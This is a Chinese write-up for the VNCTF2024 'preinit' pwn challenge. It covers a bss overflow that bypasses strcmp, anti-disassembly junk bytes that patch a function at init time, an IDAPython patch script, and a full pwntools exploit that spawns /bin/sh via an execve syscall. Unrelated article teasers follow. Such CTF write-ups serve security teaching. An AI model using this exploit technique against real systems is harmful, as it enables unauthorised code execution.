[VNCTF2024]-PWN:preinit解析(逆向花指令,绕过strcmp,函数修改,机器码)

查看保护:

查看ida:

这边其实看反汇编没啥大作用,需要自己动调。

但是前面的绕过strcmp还是要看一下的。

解题:

这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。

这里可以看出来我们的输入其实是存到bss段里了,而password距离checkpass也就0x100,所以我们的输入是可以覆盖checkpass的。

但是全题就这一个输入的地方,所以要考虑很多才能写好payload。

输入完之后进入level

这里会把我们的输入存入s中,在check中进行异或操作,再进入level2。

ida没什么好讲的,动调才是重点。

首先,你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。

ida里面是这样的

完全不一样

这里是因为程序对level2进行了修改,所以我们即使在静态调试看机器码也看不出来,只有动调才能知道level2被修改了。

问题就出在初始化那里

他这里自己自定义了一个初始化数组

对level2是又一定影响的,而且这里还用了花指令,从地址红色可以看出这些地方解析有争议。

事实上,其实我们用不着去了解为啥level2被改,也用不着在ida里把level2给改回来(在ida里修改机器码是影响不了elf文件的,只是为了分析),直接看动调就行了,动调是啥就是啥。

但既然有这个点就说一下。

我们先看动调出来的

对机器码敏感的应该很快就可以看出来,\x57对应push di,而\x56对应push si,后面的也可以对应得上(这里是人为注入机器码形成花指令,有些数据是干扰的),那就是题目引导你去把这里的机器码改进level2中。

然后排除干扰数据修改level2

import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8

说了那么多,感觉都不如直接看动调来得容易,毕竟比赛的时候太难想到了。

在执行jmp rbx之前,无论输入啥,在大多数情况下rdi里面会储存我们输入的字符串的开头,rsi为0,rdx为0,rax为输出的字节数,rip为rdi+8并可以控制,如果此时我们令rdi为/bin/sh,rip为syscall就可以进行系统调用execve。这样就出了。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()

补充点1:

在我们调试的时候可能会认为程序卡住了,比如下图

其实这是因为rep stosb的原因,准确的说是rep,他会根据cx寄存器里的值进行重复操作,比如这里是rcx=0x50,他就会进行0x50次操作,重复完之后会接着进行下一步。

补充点2:

像刚刚的操作在ida没法修改elf文件的机器码

补充点3:

在修改level2的时候可能会遇到这种情况

那就鼠标选中要重新分析的范围

按c重新分析

就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/266764.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

msvcr120.dll丢失的解决办法的详细步骤,简单有效的解决msvcr120.dll丢失

当我们遇到电脑提示msvcr120.dll文件不见了时,无需过分紧张,因为这个问题有众多解决方案可供我们选择。今天我特意准备了一些应对这一问题的经验分享,并给大家带来一些独到的解决思路。让我们一起来探讨吧! 一、先了解一下什么是m…

Swagger3 使用详解

Swagger3 使用详解 一、简介1 引入依赖2 开启注解3 增加一个测试接口4 启动服务报错1.5 重新启动6 打开地址:http://localhost:8093/swagger-ui/index.html 二、Swagger的注解1.注解Api和ApiOperation2.注解ApiModel和ApiModelProperty3.注解ApiImplicitParams和Api…

Huggingface初上手即ERNIE-gram句子相似性实战

大模型如火如荼的今天,不学点语言模型(LM)相关的技术实在是说不过去了。只不过由于过往项目用到LM较少,所以学习也主要停留在直面——动眼不动手的水平。Huggingface(HF)也是现在搞LM离不开的工具了。 出于…

k8s pv与pvc理解与实践

参考文章: https://blog.csdn.net/qq_41337034/article/details/117220475 一、 pv/pvc简述 Pv是指PersistentVolume,中文含义是持久化存储卷是对底层的共享存储的一种抽象,Pv由管理员进行配置和创建,只要包含存储能力&#xff…

Rocky Linux 安装部署 Zabbix 6.4

一、Zabbix的简介 Zabbix是一种开源的企业级监控解决方案,用于实时监测服务器、网络设备和应用程序的性能和可用性。它提供了强大的数据收集、处理和可视化功能,同时支持事件触发、报警通知和自动化任务等功能。Zabbix易于安装和配置,支持跨平…

论文阅读:2020GhostNet华为轻量化网络

创新:(1)对卷积进行改进(2)加残差连接 1、Ghost Module 1、利用1x1卷积获得输入特征的必要特征浓缩。利用1x1卷积对我们输入进来的特征图进行跨通道的特征提取,进行通道的压缩,获得一个特征浓…

C语言第三十三弹---动态内存管理(上)

✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】 动态内存管理 1、为什么要有动态内存分配 2、malloc和free 2.1、malloc 2.2、free 3、calloc和realloc 3.1、calloc 3.2、realloc 4、常见的动态内存的错…

阿里云短信验证笔记

1.了解阿里云的权限操作 进入AccessKey管理 选择子用户 创建用户组和用户 先创建用户组,建好再进行权限分配 添加短信管理权限 创建用户 创建好后的id和密码在此处下载可以得到 2.开通阿里云短信服务 进行申请,配置短信模板 阿里云短信API文档 短信服务…

MySQL 逗号分隔查询--find_in_set()函数

业务场景: 在使用MySQL的时候,可能的某个字段存储的是一个英文逗号分割的字符串(这里我们不讨论表设计的合理性),如图所示: 我们在查询的时候需要匹配逗号分割中的某个字符串,该怎么查询呢&am…

地图可视化绘制 | R-ggplot2 NC地图文件可视化

在推出两期数据分享之后,获取数据的小伙伴们也知道,数据格式都是NetCDF(nc) 格式网格数据,虽然我在推文分享中说明使用Python、R或者GIS类软件都是可以进行 处理和可视化绘制的,但是,还是有小伙伴咨询使用编程软件Pyth…

浅谈mysql mvcc

目录 前言 mvcc 是如何工作的? 数据的更新 前言 mvcc 与一个事物的隔离级别有关,未提交读永远读的是当前值,串行化是通过加锁实现,这两种隔离级别都与mvcc 没有任何关系。只要一提到mvcc应该想到的是读提交以及可重复读&#…

Spring八股 常见面试题

什么是Spring Bean 简单来说,Bean 代指的就是那些被 IoC 容器所管理的对象。我们需要告诉 IoC 容器帮助我们管理哪些对象,这个是通过配置元数据来定义的。配置元数据可以是 XML 文件、注解或者 Java 配置类。 将一个类声明为 Bean 的注解有哪些? Com…

【buuctf-gakki】

binwalk 查看图片,发现有 rar 文件,提取后如上图所示(flag.txt为已经解压后出来的)其中这个 rar 需要用 archpr爆破一下 打开后一个 flag.txt 一堆杂乱无章的字符,需要用到 python 脚本进行词频统计,我们…

Vue3 在SCSS中使用v-bind

template 先创建一个通用的页面结构 <template><div class"v-bubble-bg"></div> </template>js 在JS中先对需要用的数据进行定义&#xff1a; 可以是参数&#xff0c;也可以是data <script setup>const props defineProps({bgCol…

设计模式系列文章-7个创建型模式更新已完结

其实从2019年开始就有些一套关于设计模式的系列文章&#xff0c;但是因为种种原因一直搁置到现在。直到2024年才又恢复更新。 24年1月份上旬一直在弄博客站&#xff1a;https://jaune162.blog 的搭建 24年1月份下旬弄专题站&#xff1a;https://books.jaune162.blog 的搭建。…

本地写的Bash脚本,Linux端运行报错:/bin/bash^M: bad interpreter: No such file or directory

背景 在本地写了个Bash Shell脚本&#xff0c;但上传到Linux端后加完权限执行时报错&#xff1a; &#xff08;脚本名&#xff1a;script.sh&#xff09; -bash: ./script.sh: /bin/bash^M: bad interpreter: No such file or directory 分析 这个错误通常是由于脚本文件的行…

beets,一个有趣的 Python 音乐信息管理工具!

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站AI学习网站。 目录 前言 什么是Beet库&#xff1f; 安装Beet库 使用Beet库 Beet库的功能特性 1. 多种音乐格式支持 2. 自动标签识…

LNMP架构介绍及配置--部署Discuz社区论坛与wordpress博客

一、LNMP架构定义 1、LNMP定义 LNMP&#xff08;Linux Nginx Mysql Php&#xff09;是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写&#xff1b;Linux系统下NginxMySQLPHP这种网站服务器架构。 Linux是一类Unix计算机操作系统的统称&#xff0c;是目…

力扣2月最后三天的每日一题

力扣2月最后三天的每日一题 前言2867.统计树中的合法路径数目思路确定1e5中的质数统计每个点的连接情况开始对质数点进行处理完整代码 2673.使二叉树所有路径值相等的最小代价思路完整代码 2581.统计可能的树根数目思路建立连通关系将猜测数组变为哈希表&#xff0c;方便查询利…

利用 Python 抓取数据探索汽车市场趋势

一、引言 随着全球对环境保护意识的增强和技术的进步&#xff0c;新能源汽车作为一种环保、高效的交通工具&#xff0c;正逐渐受到人们的关注和青睐。在这个背景下&#xff0c;对汽车市场的数据进行分析和研究显得尤为重要。 本文将介绍如何利用 Python 编程语言&#xff0c;结…